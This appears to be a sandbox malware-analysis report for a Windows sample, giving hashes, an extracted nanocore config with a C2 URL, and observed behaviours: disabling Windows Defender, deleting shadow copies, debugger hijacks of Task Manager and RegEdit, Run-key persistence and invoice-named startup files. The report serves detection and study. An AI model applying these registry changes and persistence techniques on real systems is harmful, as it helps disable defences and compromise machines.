Analysis
- max time kernel
66s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 07:45
Behavioral task
behavioral1
Sample
2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
49 signatures
150 seconds
General
- Target 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260709-jle5caes8q
- SHA256 943fe24cdbce8ab2d12a3cdd5e571b3da4e2832811c5f4b8bb3269f2223bfba8
- MD5 f3a9ba2893797e8100d55464a4a9d3d1
- SHA1 0ea29112abb1158846f468c75e15600215dcb39f
- SHA512 1c2c00f6754db9b622e453df7b6af1c6beb18a41b35b30aa2ac17627661364e52281a8cdf9dc72377db46fc0976e860833fa63ec8b617f1d291ff28e37a105b2
- SSDEEP 768:AhC/114ytcI5Li2bWzdB048//w4ZC1XXGblfA0ZKFc1:0CX4yA2ur8Q4ZEXGblf9Zuc1
- TLSH T14933F70477F94111F5BF8ABA4DB182119B31F897AC22D78E06D5058E1AB3B80DDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://xoilacbongda-wc2026a.tv
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://xoilacbongda-wc2026a.tv
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5600-1-0x0000000000AC0000-0x0000000000AD2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 1 IoCs
resource yara_rule behavioral2/memory/5600-1-0x0000000000AC0000-0x0000000000AD2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
resource yara_rule behavioral2/memory/5600-1-0x0000000000AC0000-0x0000000000AD2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5512 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 6780 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 6348 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5780 sc.exe 840 sc.exe 4992 sc.exe 7012 sc.exe 2028 sc.exe 3460 sc.exe 3524 sc.exe 6024 sc.exe 5592 sc.exe 6956 sc.exe 1468 sc.exe 1056 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5228 chrome.exe - Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened 